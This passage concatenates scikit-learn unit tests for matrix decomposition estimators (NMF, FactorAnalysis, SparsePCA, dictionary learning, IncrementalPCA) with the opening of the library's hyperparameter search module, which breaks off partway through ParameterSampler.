        assert_array_almost_equal(W_nmf_2, W_cls_2, decimal=10)


@ignore_warnings
def test_non_negative_factorization_checking():
    A = np.ones((2, 2))
    # Test parameters checking is public function
    nnmf = non_negative_factorization
    assert_no_warnings(nnmf, A, A, A, np.int64(1))
    msg = "Number of components must be a positive integer; got (n_components=1.5)"
    assert_raise_message(ValueError, msg, nnmf, A, A, A, 1.5)
    msg = "Number of components must be a positive integer; got (n_components='2')"
    assert_raise_message(ValueError, msg, nnmf, A, A, A, '2')
    msg = "Negative values in data passed to NMF (input H)"
    assert_raise_message(ValueError, msg, nnmf, A, A, -A, 2, 'custom')
    msg = "Negative values in data passed to NMF (input W)"
    assert_raise_message(ValueError, msg, nnmf, A, -A, A, 2, 'custom')
    msg = "Array passed to NMF (input H) is full of zeros"
    assert_raise_message(ValueError, msg, nnmf, A, A, 0 * A, 2, 'custom')


def test_safe_compute_error():
    A = np.abs(random_state.randn(10, 10))
    A[:, 2 * np.arange(5)] = 0
    A_sparse = csc_matrix(A)

    W, H = nmf._initialize_nmf(A, 5, init='random', random_state=0)

    error = nmf._safe_compute_error(A, W, H)
    error_sparse = nmf._safe_compute_error(A_sparse, W, H)

    assert_almost_equal(error, error_sparse)












# Author: Christian Osendorfer <osendorf@gmail.com>
#         Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD3

import numpy as np

from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.exceptions import ConvergenceWarning
from sklearn.decomposition import FactorAnalysis
from sklearn.utils.testing import ignore_warnings


# Ignore warnings from switching to more power iterations in randomized_svd
@ignore_warnings
def test_factor_analysis():
    # Test FactorAnalysis ability to recover the data covariance structure
    rng = np.random.RandomState(0)
    n_samples, n_features, n_components = 20, 5, 3

    # Some random settings for the generative model
    W = rng.randn(n_components, n_features)
    # latent variable of dim 3, 20 of it
    h = rng.randn(n_samples, n_components)
    # using gamma to model different noise variance
    # per component
    noise = rng.gamma(1, size=n_features) * rng.randn(n_samples, n_features)

    # generate observations
    # wlog, mean is 0
    X = np.dot(h, W) + noise

    assert_raises(ValueError, FactorAnalysis, svd_method='foo')
    fa_fail = FactorAnalysis()
    fa_fail.svd_method = 'foo'
    assert_raises(ValueError, fa_fail.fit, X)
    fas = []
    for method in ['randomized', 'lapack']:
        fa = FactorAnalysis(n_components=n_components, svd_method=method)
        fa.fit(X)
        fas.append(fa)

        X_t = fa.transform(X)
        assert_equal(X_t.shape, (n_samples, n_components))

        assert_almost_equal(fa.loglike_[-1], fa.score_samples(X).sum())
        assert_almost_equal(fa.score_samples(X).mean(), fa.score(X))

        diff = np.all(np.diff(fa.loglike_))
        assert_greater(diff, 0., 'Log likelihood dif not increase')

        # Sample Covariance
        scov = np.cov(X, rowvar=0., bias=1.)

        # Model Covariance
        mcov = fa.get_covariance()
        diff = np.sum(np.abs(scov - mcov)) / W.size
        assert_less(diff, 0.1, "Mean absolute difference is %f" % diff)
        fa = FactorAnalysis(n_components=n_components,
                            noise_variance_init=np.ones(n_features))
        assert_raises(ValueError, fa.fit, X[:, :2])

    f = lambda x, y: np.abs(getattr(x, y))  # sign will not be equal
    fa1, fa2 = fas
    for attr in ['loglike_', 'components_', 'noise_variance_']:
        assert_almost_equal(f(fa1, attr), f(fa2, attr))

    fa1.max_iter = 1
    fa1.verbose = True
    assert_warns(ConvergenceWarning, fa1.fit, X)

    # Test get_covariance and get_precision with n_components == n_features
    # with n_components < n_features and with n_components == 0
    for n_components in [0, 2, X.shape[1]]:
        fa.n_components = n_components
        fa.fit(X)
        cov = fa.get_covariance()
        precision = fa.get_precision()
        assert_array_almost_equal(np.dot(cov, precision),
                                  np.eye(X.shape[1]), 12)






# Author: Vlad Niculae
# License: BSD 3 clause

import sys

import numpy as np

from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import SkipTest
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import if_safe_multiprocessing_with_blas

from sklearn.decomposition import SparsePCA, MiniBatchSparsePCA
from sklearn.utils import check_random_state


def generate_toy_data(n_components, n_samples, image_size, random_state=None):
    n_features = image_size[0] * image_size[1]

    rng = check_random_state(random_state)
    U = rng.randn(n_samples, n_components)
    V = rng.randn(n_components, n_features)

    centers = [(3, 3), (6, 7), (8, 1)]
    sz = [1, 2, 1]
    for k in range(n_components):
        img = np.zeros(image_size)
        xmin, xmax = centers[k][0] - sz[k], centers[k][0] + sz[k]
        ymin, ymax = centers[k][1] - sz[k], centers[k][1] + sz[k]
        img[xmin:xmax][:, ymin:ymax] = 1.0
        V[k, :] = img.ravel()

    # Y is defined by : Y = UV + noise
    Y = np.dot(U, V)
    Y += 0.1 * rng.randn(Y.shape[0], Y.shape[1])  # Add noise
    return Y, U, V

# SparsePCA can be a bit slow. To avoid having test times go up, we
# test different aspects of the code in the same test


def test_correct_shapes():
    rng = np.random.RandomState(0)
    X = rng.randn(12, 10)
    spca = SparsePCA(n_components=8, random_state=rng)
    U = spca.fit_transform(X)
    assert_equal(spca.components_.shape, (8, 10))
    assert_equal(U.shape, (12, 8))
    # test overcomplete decomposition
    spca = SparsePCA(n_components=13, random_state=rng)
    U = spca.fit_transform(X)
    assert_equal(spca.components_.shape, (13, 10))
    assert_equal(U.shape, (12, 13))


def test_fit_transform():
    alpha = 1
    rng = np.random.RandomState(0)
    Y, _, _ = generate_toy_data(3, 10, (8, 8), random_state=rng)  # wide array
    spca_lars = SparsePCA(n_components=3, method='lars', alpha=alpha,
                          random_state=0)
    spca_lars.fit(Y)

    # Test that CD gives similar results
    spca_lasso = SparsePCA(n_components=3, method='cd', random_state=0,
                           alpha=alpha)
    spca_lasso.fit(Y)
    assert_array_almost_equal(spca_lasso.components_, spca_lars.components_)


@if_safe_multiprocessing_with_blas
def test_fit_transform_parallel():
    alpha = 1
    rng = np.random.RandomState(0)
    Y, _, _ = generate_toy_data(3, 10, (8, 8), random_state=rng)  # wide array
    spca_lars = SparsePCA(n_components=3, method='lars', alpha=alpha,
                          random_state=0)
    spca_lars.fit(Y)
    U1 = spca_lars.transform(Y)
    # Test multiple CPUs
    spca = SparsePCA(n_components=3, n_jobs=2, method='lars', alpha=alpha,
                     random_state=0).fit(Y)
    U2 = spca.transform(Y)
    assert_true(not np.all(spca_lars.components_ == 0))
    assert_array_almost_equal(U1, U2)


def test_transform_nan():
    # Test that SparsePCA won't return NaN when there is 0 feature in all
    # samples.
    rng = np.random.RandomState(0)
    Y, _, _ = generate_toy_data(3, 10, (8, 8), random_state=rng)  # wide array
    Y[:, 0] = 0
    estimator = SparsePCA(n_components=8)
    assert_false(np.any(np.isnan(estimator.fit_transform(Y))))


def test_fit_transform_tall():
    rng = np.random.RandomState(0)
    Y, _, _ = generate_toy_data(3, 65, (8, 8), random_state=rng)  # tall array
    spca_lars = SparsePCA(n_components=3, method='lars',
                          random_state=rng)
    U1 = spca_lars.fit_transform(Y)
    spca_lasso = SparsePCA(n_components=3, method='cd', random_state=rng)
    U2 = spca_lasso.fit(Y).transform(Y)
    assert_array_almost_equal(U1, U2)


def test_initialization():
    rng = np.random.RandomState(0)
    U_init = rng.randn(5, 3)
    V_init = rng.randn(3, 4)
    model = SparsePCA(n_components=3, U_init=U_init, V_init=V_init, max_iter=0,
                      random_state=rng)
    model.fit(rng.randn(5, 4))
    assert_array_equal(model.components_, V_init)


def test_mini_batch_correct_shapes():
    rng = np.random.RandomState(0)
    X = rng.randn(12, 10)
    pca = MiniBatchSparsePCA(n_components=8, random_state=rng)
    U = pca.fit_transform(X)
    assert_equal(pca.components_.shape, (8, 10))
    assert_equal(U.shape, (12, 8))
    # test overcomplete decomposition
    pca = MiniBatchSparsePCA(n_components=13, random_state=rng)
    U = pca.fit_transform(X)
    assert_equal(pca.components_.shape, (13, 10))
    assert_equal(U.shape, (12, 13))


def test_mini_batch_fit_transform():
    raise SkipTest("skipping mini_batch_fit_transform.")
    alpha = 1
    rng = np.random.RandomState(0)
    Y, _, _ = generate_toy_data(3, 10, (8, 8), random_state=rng)  # wide array
    spca_lars = MiniBatchSparsePCA(n_components=3, random_state=0,
                                   alpha=alpha).fit(Y)
    U1 = spca_lars.transform(Y)
    # Test multiple CPUs
    if sys.platform == 'win32':  # fake parallelism for win32
        import sklearn.externals.joblib.parallel as joblib_par
        _mp = joblib_par.multiprocessing
        joblib_par.multiprocessing = None
        try:
            U2 = MiniBatchSparsePCA(n_components=3, n_jobs=2, alpha=alpha,
                                    random_state=0).fit(Y).transform(Y)
        finally:
            joblib_par.multiprocessing = _mp
    else:  # we can efficiently use parallelism
        U2 = MiniBatchSparsePCA(n_components=3, n_jobs=2, alpha=alpha,
                                random_state=0).fit(Y).transform(Y)
    assert_true(not np.all(spca_lars.components_ == 0))
    assert_array_almost_equal(U1, U2)
    # Test that CD gives similar results
    spca_lasso = MiniBatchSparsePCA(n_components=3, method='cd', alpha=alpha,
                                    random_state=0).fit(Y)
    assert_array_almost_equal(spca_lasso.components_, spca_lars.components_)






import numpy as np
from sklearn.utils import check_array

from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import TempMemmap

from sklearn.decomposition import DictionaryLearning
from sklearn.decomposition import MiniBatchDictionaryLearning
from sklearn.decomposition import SparseCoder
from sklearn.decomposition import dict_learning_online
from sklearn.decomposition import sparse_encode


rng_global = np.random.RandomState(0)
n_samples, n_features = 10, 8
X = rng_global.randn(n_samples, n_features)


def test_dict_learning_shapes():
    n_components = 5
    dico = DictionaryLearning(n_components, random_state=0).fit(X)
    assert_true(dico.components_.shape == (n_components, n_features))


def test_dict_learning_overcomplete():
    n_components = 12
    dico = DictionaryLearning(n_components, random_state=0).fit(X)
    assert_true(dico.components_.shape == (n_components, n_features))


def test_dict_learning_reconstruction():
    n_components = 12
    dico = DictionaryLearning(n_components, transform_algorithm='omp',
                              transform_alpha=0.001, random_state=0)
    code = dico.fit(X).transform(X)
    assert_array_almost_equal(np.dot(code, dico.components_), X)

    dico.set_params(transform_algorithm='lasso_lars')
    code = dico.transform(X)
    assert_array_almost_equal(np.dot(code, dico.components_), X, decimal=2)

    # used to test lars here too, but there's no guarantee the number of
    # nonzero atoms is right.


def test_dict_learning_reconstruction_parallel():
    # regression test that parallel reconstruction works with n_jobs=-1
    n_components = 12
    dico = DictionaryLearning(n_components, transform_algorithm='omp',
                              transform_alpha=0.001, random_state=0, n_jobs=-1)
    code = dico.fit(X).transform(X)
    assert_array_almost_equal(np.dot(code, dico.components_), X)

    dico.set_params(transform_algorithm='lasso_lars')
    code = dico.transform(X)
    assert_array_almost_equal(np.dot(code, dico.components_), X, decimal=2)


def test_dict_learning_lassocd_readonly_data():
    n_components = 12
    with TempMemmap(X) as X_read_only:
        dico = DictionaryLearning(n_components, transform_algorithm='lasso_cd',
                                  transform_alpha=0.001, random_state=0, n_jobs=-1)
        code = dico.fit(X_read_only).transform(X_read_only)
        assert_array_almost_equal(np.dot(code, dico.components_), X_read_only, decimal=2)


def test_dict_learning_nonzero_coefs():
    n_components = 4
    dico = DictionaryLearning(n_components, transform_algorithm='lars',
                              transform_n_nonzero_coefs=3, random_state=0)
    code = dico.fit(X).transform(X[np.newaxis, 1])
    assert_true(len(np.flatnonzero(code)) == 3)

    dico.set_params(transform_algorithm='omp')
    code = dico.transform(X[np.newaxis, 1])
    assert_equal(len(np.flatnonzero(code)), 3)


def test_dict_learning_unknown_fit_algorithm():
    n_components = 5
    dico = DictionaryLearning(n_components, fit_algorithm='<unknown>')
    assert_raises(ValueError, dico.fit, X)


def test_dict_learning_split():
    n_components = 5
    dico = DictionaryLearning(n_components, transform_algorithm='threshold',
                              random_state=0)
    code = dico.fit(X).transform(X)
    dico.split_sign = True
    split_code = dico.transform(X)

    assert_array_equal(split_code[:, :n_components] -
                       split_code[:, n_components:], code)


def test_dict_learning_online_shapes():
    rng = np.random.RandomState(0)
    n_components = 8
    code, dictionary = dict_learning_online(X, n_components=n_components,
                                            alpha=1, random_state=rng)
    assert_equal(code.shape, (n_samples, n_components))
    assert_equal(dictionary.shape, (n_components, n_features))
    assert_equal(np.dot(code, dictionary).shape, X.shape)


def test_dict_learning_online_verbosity():
    n_components = 5
    # test verbosity
    from sklearn.externals.six.moves import cStringIO as StringIO
    import sys

    old_stdout = sys.stdout
    try:
        sys.stdout = StringIO()
        dico = MiniBatchDictionaryLearning(n_components, n_iter=20, verbose=1,
                                           random_state=0)
        dico.fit(X)
        dico = MiniBatchDictionaryLearning(n_components, n_iter=20, verbose=2,
                                           random_state=0)
        dico.fit(X)
        dict_learning_online(X, n_components=n_components, alpha=1, verbose=1,
                             random_state=0)
        dict_learning_online(X, n_components=n_components, alpha=1, verbose=2,
                             random_state=0)
    finally:
        sys.stdout = old_stdout

    assert_true(dico.components_.shape == (n_components, n_features))


def test_dict_learning_online_estimator_shapes():
    n_components = 5
    dico = MiniBatchDictionaryLearning(n_components, n_iter=20, random_state=0)
    dico.fit(X)
    assert_true(dico.components_.shape == (n_components, n_features))


def test_dict_learning_online_overcomplete():
    n_components = 12
    dico = MiniBatchDictionaryLearning(n_components, n_iter=20,
                                       random_state=0).fit(X)
    assert_true(dico.components_.shape == (n_components, n_features))


def test_dict_learning_online_initialization():
    n_components = 12
    rng = np.random.RandomState(0)
    V = rng.randn(n_components, n_features)
    dico = MiniBatchDictionaryLearning(n_components, n_iter=0,
                                       dict_init=V, random_state=0).fit(X)
    assert_array_equal(dico.components_, V)


def test_dict_learning_online_partial_fit():
    n_components = 12
    rng = np.random.RandomState(0)
    V = rng.randn(n_components, n_features)  # random init
    V /= np.sum(V ** 2, axis=1)[:, np.newaxis]
    dict1 = MiniBatchDictionaryLearning(n_components, n_iter=10 * len(X),
                                        batch_size=1,
                                        alpha=1, shuffle=False, dict_init=V,
                                        random_state=0).fit(X)
    dict2 = MiniBatchDictionaryLearning(n_components, alpha=1,
                                        n_iter=1, dict_init=V,
                                        random_state=0)
    for i in range(10):
        for sample in X:
            dict2.partial_fit(sample[np.newaxis, :])

    assert_true(not np.all(sparse_encode(X, dict1.components_, alpha=1) ==
                           0))
    assert_array_almost_equal(dict1.components_, dict2.components_,
                              decimal=2)


def test_sparse_encode_shapes():
    n_components = 12
    rng = np.random.RandomState(0)
    V = rng.randn(n_components, n_features)  # random init
    V /= np.sum(V ** 2, axis=1)[:, np.newaxis]
    for algo in ('lasso_lars', 'lasso_cd', 'lars', 'omp', 'threshold'):
        code = sparse_encode(X, V, algorithm=algo)
        assert_equal(code.shape, (n_samples, n_components))


def test_sparse_encode_input():
    n_components = 100
    rng = np.random.RandomState(0)
    V = rng.randn(n_components, n_features)  # random init
    V /= np.sum(V ** 2, axis=1)[:, np.newaxis]
    Xf = check_array(X, order='F')
    for algo in ('lasso_lars', 'lasso_cd', 'lars', 'omp', 'threshold'):
        a = sparse_encode(X, V, algorithm=algo)
        b = sparse_encode(Xf, V, algorithm=algo)
        assert_array_almost_equal(a, b)


def test_sparse_encode_error():
    n_components = 12
    rng = np.random.RandomState(0)
    V = rng.randn(n_components, n_features)  # random init
    V /= np.sum(V ** 2, axis=1)[:, np.newaxis]
    code = sparse_encode(X, V, alpha=0.001)
    assert_true(not np.all(code == 0))
    assert_less(np.sqrt(np.sum((np.dot(code, V) - X) ** 2)), 0.1)


def test_sparse_encode_error_default_sparsity():
    rng = np.random.RandomState(0)
    X = rng.randn(100, 64)
    D = rng.randn(2, 64)
    code = ignore_warnings(sparse_encode)(X, D, algorithm='omp',
                                          n_nonzero_coefs=None)
    assert_equal(code.shape, (100, 2))


def test_unknown_method():
    n_components = 12
    rng = np.random.RandomState(0)
    V = rng.randn(n_components, n_features)  # random init
    assert_raises(ValueError, sparse_encode, X, V, algorithm="<unknown>")


def test_sparse_coder_estimator():
    n_components = 12
    rng = np.random.RandomState(0)
    V = rng.randn(n_components, n_features)  # random init
    V /= np.sum(V ** 2, axis=1)[:, np.newaxis]
    code = SparseCoder(dictionary=V, transform_algorithm='lasso_lars',
                       transform_alpha=0.001).transform(X)
    assert_true(not np.all(code == 0))
    assert_less(np.sqrt(np.sum((np.dot(code, V) - X) ** 2)), 0.1)






"""Tests for Incremental PCA."""
import numpy as np

from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_raises

from sklearn import datasets
from sklearn.decomposition import PCA, IncrementalPCA

iris = datasets.load_iris()


def test_incremental_pca():
    # Incremental PCA on dense arrays.
    X = iris.data
    batch_size = X.shape[0] // 3
    ipca = IncrementalPCA(n_components=2, batch_size=batch_size)
    pca = PCA(n_components=2)
    pca.fit_transform(X)

    X_transformed = ipca.fit_transform(X)

    np.testing.assert_equal(X_transformed.shape, (X.shape[0], 2))
    assert_almost_equal(ipca.explained_variance_ratio_.sum(),
                        pca.explained_variance_ratio_.sum(), 1)

    for n_components in [1, 2, X.shape[1]]:
        ipca = IncrementalPCA(n_components, batch_size=batch_size)
        ipca.fit(X)
        cov = ipca.get_covariance()
        precision = ipca.get_precision()
        assert_array_almost_equal(np.dot(cov, precision),
                                  np.eye(X.shape[1]))


def test_incremental_pca_check_projection():
    # Test that the projection of data is correct.
    rng = np.random.RandomState(1999)
    n, p = 100, 3
    X = rng.randn(n, p) * .1
    X[:10] += np.array([3, 4, 5])
    Xt = 0.1 * rng.randn(1, p) + np.array([3, 4, 5])

    # Get the reconstruction of the generated data X
    # Note that Xt has the same "components" as X, just separated
    # This is what we want to ensure is recreated correctly
    Yt = IncrementalPCA(n_components=2).fit(X).transform(Xt)

    # Normalize
    Yt /= np.sqrt((Yt ** 2).sum())

    # Make sure that the first element of Yt is ~1, this means
    # the reconstruction worked as expected
    assert_almost_equal(np.abs(Yt[0][0]), 1., 1)


def test_incremental_pca_inverse():
    # Test that the projection of data can be inverted.
    rng = np.random.RandomState(1999)
    n, p = 50, 3
    X = rng.randn(n, p)  # spherical data
    X[:, 1] *= .00001  # make middle component relatively small
    X += [5, 4, 3]  # make a large mean

    # same check that we can find the original data from the transformed
    # signal (since the data is almost of rank n_components)
    ipca = IncrementalPCA(n_components=2, batch_size=10).fit(X)
    Y = ipca.transform(X)
    Y_inverse = ipca.inverse_transform(Y)
    assert_almost_equal(X, Y_inverse, decimal=3)


def test_incremental_pca_validation():
    # Test that n_components is >=1 and <= n_features.
    X = [[0, 1], [1, 0]]
    for n_components in [-1, 0, .99, 3]:
        assert_raises(ValueError, IncrementalPCA(n_components,
                                                 batch_size=10).fit, X)


def test_incremental_pca_set_params():
    # Test that components_ sign is stable over batch sizes.
    rng = np.random.RandomState(1999)
    n_samples = 100
    n_features = 20
    X = rng.randn(n_samples, n_features)
    X2 = rng.randn(n_samples, n_features)
    X3 = rng.randn(n_samples, n_features)
    ipca = IncrementalPCA(n_components=20)
    ipca.fit(X)
    # Decreasing number of components
    ipca.set_params(n_components=10)
    assert_raises(ValueError, ipca.partial_fit, X2)
    # Increasing number of components
    ipca.set_params(n_components=15)
    assert_raises(ValueError, ipca.partial_fit, X3)
    # Returning to original setting
    ipca.set_params(n_components=20)
    ipca.partial_fit(X)


def test_incremental_pca_num_features_change():
    # Test that changing n_components will raise an error.
    rng = np.random.RandomState(1999)
    n_samples = 100
    X = rng.randn(n_samples, 20)
    X2 = rng.randn(n_samples, 50)
    ipca = IncrementalPCA(n_components=None)
    ipca.fit(X)
    assert_raises(ValueError, ipca.partial_fit, X2)


def test_incremental_pca_batch_signs():
    # Test that components_ sign is stable over batch sizes.
    rng = np.random.RandomState(1999)
    n_samples = 100
    n_features = 3
    X = rng.randn(n_samples, n_features)
    all_components = []
    batch_sizes = np.arange(10, 20)
    for batch_size in batch_sizes:
        ipca = IncrementalPCA(n_components=None, batch_size=batch_size).fit(X)
        all_components.append(ipca.components_)

    for i, j in zip(all_components[:-1], all_components[1:]):
        assert_almost_equal(np.sign(i), np.sign(j), decimal=6)


def test_incremental_pca_batch_values():
    # Test that components_ values are stable over batch sizes.
    rng = np.random.RandomState(1999)
    n_samples = 100
    n_features = 3
    X = rng.randn(n_samples, n_features)
    all_components = []
    batch_sizes = np.arange(20, 40, 3)
    for batch_size in batch_sizes:
        ipca = IncrementalPCA(n_components=None, batch_size=batch_size).fit(X)
        all_components.append(ipca.components_)

    for i, j in zip(all_components[:-1], all_components[1:]):
        assert_almost_equal(i, j, decimal=1)


def test_incremental_pca_partial_fit():
    # Test that fit and partial_fit get equivalent results.
    rng = np.random.RandomState(1999)
    n, p = 50, 3
    X = rng.randn(n, p)  # spherical data
    X[:, 1] *= .00001  # make middle component relatively small
    X += [5, 4, 3]  # make a large mean

    # same check that we can find the original data from the transformed
    # signal (since the data is almost of rank n_components)
    batch_size = 10
    ipca = IncrementalPCA(n_components=2, batch_size=batch_size).fit(X)
    pipca = IncrementalPCA(n_components=2, batch_size=batch_size)
    # Add one to make sure endpoint is included
    batch_itr = np.arange(0, n + 1, batch_size)
    for i, j in zip(batch_itr[:-1], batch_itr[1:]):
        pipca.partial_fit(X[i:j, :])
    assert_almost_equal(ipca.components_, pipca.components_, decimal=3)


def test_incremental_pca_against_pca_iris():
    # Test that IncrementalPCA and PCA are approximate (to a sign flip).
    X = iris.data

    Y_pca = PCA(n_components=2).fit_transform(X)
    Y_ipca = IncrementalPCA(n_components=2, batch_size=25).fit_transform(X)

    assert_almost_equal(np.abs(Y_pca), np.abs(Y_ipca), 1)


def test_incremental_pca_against_pca_random_data():
    # Test that IncrementalPCA and PCA are approximate (to a sign flip).
    rng = np.random.RandomState(1999)
    n_samples = 100
    n_features = 3
    X = rng.randn(n_samples, n_features) + 5 * rng.rand(1, n_features)

    Y_pca = PCA(n_components=3).fit_transform(X)
    Y_ipca = IncrementalPCA(n_components=3, batch_size=25).fit_transform(X)

    assert_almost_equal(np.abs(Y_pca), np.abs(Y_ipca), 1)


def test_explained_variances():
    # Test that PCA and IncrementalPCA calculations match
    X = datasets.make_low_rank_matrix(1000, 100, tail_strength=0.,
                                      effective_rank=10, random_state=1999)
    prec = 3
    n_samples, n_features = X.shape
    for nc in [None, 99]:
        pca = PCA(n_components=nc).fit(X)
        ipca = IncrementalPCA(n_components=nc, batch_size=100).fit(X)
        assert_almost_equal(pca.explained_variance_, ipca.explained_variance_,
                            decimal=prec)
        assert_almost_equal(pca.explained_variance_ratio_,
                            ipca.explained_variance_ratio_, decimal=prec)
        assert_almost_equal(pca.noise_variance_, ipca.noise_variance_,
                            decimal=prec)


def test_whitening():
    # Test that PCA and IncrementalPCA transforms match to sign flip.
    X = datasets.make_low_rank_matrix(1000, 10, tail_strength=0.,
                                      effective_rank=2, random_state=1999)
    prec = 3
    n_samples, n_features = X.shape
    for nc in [None, 9]:
        pca = PCA(whiten=True, n_components=nc).fit(X)
        ipca = IncrementalPCA(whiten=True, n_components=nc,
                              batch_size=250).fit(X)

        Xt_pca = pca.transform(X)
        Xt_ipca = ipca.transform(X)
        assert_almost_equal(np.abs(Xt_pca), np.abs(Xt_ipca), decimal=prec)
        Xinv_ipca = ipca.inverse_transform(Xt_ipca)
        Xinv_pca = pca.inverse_transform(Xt_pca)
        assert_almost_equal(X, Xinv_ipca, decimal=prec)
        assert_almost_equal(X, Xinv_pca, decimal=prec)
        assert_almost_equal(Xinv_pca, Xinv_ipca, decimal=prec)






"""
The :mod:`sklearn.model_selection._search` includes utilities to fine-tune the
parameters of an estimator.
"""
from __future__ import print_function
from __future__ import division

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>,
#         Gael Varoquaux <gael.varoquaux@normalesup.org>
#         Andreas Mueller <amueller@ais.uni-bonn.de>
#         Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause

from abc import ABCMeta, abstractmethod
from collections import Mapping, namedtuple, Sized, defaultdict
from functools import partial, reduce
from itertools import product
import operator
import warnings

import numpy as np

from ..base import BaseEstimator, is_classifier, clone
from ..base import MetaEstimatorMixin
from ._split import check_cv
from ._validation import _fit_and_score
from ..externals.joblib import Parallel, delayed
from ..externals import six
from ..utils import check_random_state
from ..utils.fixes import sp_version
from ..utils.fixes import rankdata
from ..utils.random import sample_without_replacement
from ..utils.validation import indexable, check_is_fitted
from ..utils.metaestimators import if_delegate_has_method
from ..metrics.scorer import check_scoring


__all__ = ['GridSearchCV', 'ParameterGrid', 'fit_grid_point',
           'ParameterSampler', 'RandomizedSearchCV']


class ParameterGrid(object):
    """Grid of parameters with a discrete number of values for each.

    Can be used to iterate over parameter value combinations with the
    Python built-in function iter.

    Read more in the :ref:`User Guide <search>`.

    Parameters
    ----------
    param_grid : dict of string to sequence, or sequence of such
        The parameter grid to explore, as a dictionary mapping estimator
        parameters to sequences of allowed values.

        An empty dict signifies default parameters.

        A sequence of dicts signifies a sequence of grids to search, and is
        useful to avoid exploring parameter combinations that make no sense
        or have no effect. See the examples below.

    Examples
    --------
    >>> from sklearn.model_selection import ParameterGrid
    >>> param_grid = {'a': [1, 2], 'b': [True, False]}
    >>> list(ParameterGrid(param_grid)) == (
    ...    [{'a': 1, 'b': True}, {'a': 1, 'b': False},
    ...     {'a': 2, 'b': True}, {'a': 2, 'b': False}])
    True

    >>> grid = [{'kernel': ['linear']}, {'kernel': ['rbf'], 'gamma': [1, 10]}]
    >>> list(ParameterGrid(grid)) == [{'kernel': 'linear'},
    ...                               {'kernel': 'rbf', 'gamma': 1},
    ...                               {'kernel': 'rbf', 'gamma': 10}]
    True
    >>> ParameterGrid(grid)[1] == {'kernel': 'rbf', 'gamma': 1}
    True

    See also
    --------
    :class:`GridSearchCV`:
        Uses :class:`ParameterGrid` to perform a full parallelized parameter
        search.
    """

    def __init__(self, param_grid):
        if isinstance(param_grid, Mapping):
            # wrap dictionary in a singleton list to support either dict
            # or list of dicts
            param_grid = [param_grid]
        self.param_grid = param_grid

    def __iter__(self):
        """Iterate over the points in the grid.

        Returns
        -------
        params : iterator over dict of string to any
            Yields dictionaries mapping each estimator parameter to one of its
            allowed values.
        """
        for p in self.param_grid:
            # Always sort the keys of a dictionary, for reproducibility
            items = sorted(p.items())
            if not items:
                yield {}
            else:
                keys, values = zip(*items)
                for v in product(*values):
                    params = dict(zip(keys, v))
                    yield params

    def __len__(self):
        """Number of points on the grid."""
        # Product function that can handle iterables (np.product can't).
        product = partial(reduce, operator.mul)
        return sum(product(len(v) for v in p.values()) if p else 1
                   for p in self.param_grid)

    def __getitem__(self, ind):
        """Get the parameters that would be ``ind``th in iteration

        Parameters
        ----------
        ind : int
            The iteration index

        Returns
        -------
        params : dict of string to any
            Equal to list(self)[ind]
        """
        # This is used to make discrete sampling without replacement memory
        # efficient.
        for sub_grid in self.param_grid:
            # XXX: could memoize information used here
            if not sub_grid:
                if ind == 0:
                    return {}
                else:
                    ind -= 1
                    continue

            # Reverse so most frequent cycling parameter comes first
            keys, values_lists = zip(*sorted(sub_grid.items())[::-1])
            sizes = [len(v_list) for v_list in values_lists]
            total = np.product(sizes)

            if ind >= total:
                # Try the next grid
                ind -= total
            else:
                out = {}
                for key, v_list, n in zip(keys, values_lists, sizes):
                    ind, offset = divmod(ind, n)
                    out[key] = v_list[offset]
                return out

        raise IndexError('ParameterGrid index out of range')


class ParameterSampler(object):
    """Generator on parameters sampled from given distributions.

    Non-deterministic iterable over random candidate combinations for hyper-
    parameter search. If all parameters are presented as a list,
    sampling without replacement is performed. If at least one parameter
    is given as a distribution, sampling with replacement is used.
    It is highly recommended to use continuous distributions for continuous
    parameters.

    Note that before SciPy 0.16, the ``scipy.stats.distributions`` do not
    accept a custom RNG instance and always use the singleton RNG from
    ``numpy.random``. Hence setting ``random_state`` will not guarantee a
    deterministic iteration whenever ``scipy.stats`` distributions are used to
    define the parameter search space. Deterministic behavior is however
    guaranteed from SciPy 0.16 onwards.

    Read more in the :ref:`User Guide <search>`.

    Parameters
    ----------
    param_distributions : dict
        Dictionary where the keys are parameters and values
        are distributions from which a parameter is to be sampled.
        Distributions either have to provide a ``rvs`` function
        to sample from them, or can be given as a list of values,
        where a uniform distribution is assumed.

    n_iter : integer
        Number of parameter settings that are produced.

    random_state : int or RandomState
        Pseudo random number generator state used for random uniform sampling
        from lists of possible values instead of scipy.stats distributions.

    Returns
    -------
    params : dict of string to any
        **Yields** dictionaries mapping each estimator parameter to
        as sampled value.

    Examples
    --------
    >>> from sklearn.model_selection import ParameterSampler
    >>> from scipy.stats.distributions import expon
    >>> import numpy as np
    >>> np.random.seed(0)
    >>> param_grid = {'a':[1, 2], 'b': expon()}
    >>> param_list = list(ParameterSampler(param_grid, n_iter=4))
    >>> rounded_list = [dict((k, round(v, 6)) for (k, v) in d.items())
    ...                 for d in param_list]
    >>> rounded_list == [{'b': 0.89856, 'a': 1},
    ...                  {'b': 0.923223, 'a': 1},
    ...                  {'b': 1.878964, 'a': 2},
    ...                  {'b': 1.038159, 'a': 2}]
    True
    """
    def __init__(self, param_distributions, n_iter, random_state=None):
        self.param_distributions = param_distributions
        self.n_iter = n_iter
        self.random_state = random_state

    def __iter__(self):
        # check if all distributions are given as lists
        # in this case we want to sample without replacement
        all_lists = np.all([not hasattr(v, "rvs")
                            for v in self.param_distributions.values()])
        rnd = check_random_state(self.random_state)

        if all_lists:
            # look up sampled parameter settings in parameter grid
            param_grid = ParameterGrid(self.param_distributions)
            grid_size = len(param_grid)

            if grid_size < self.n_iter:
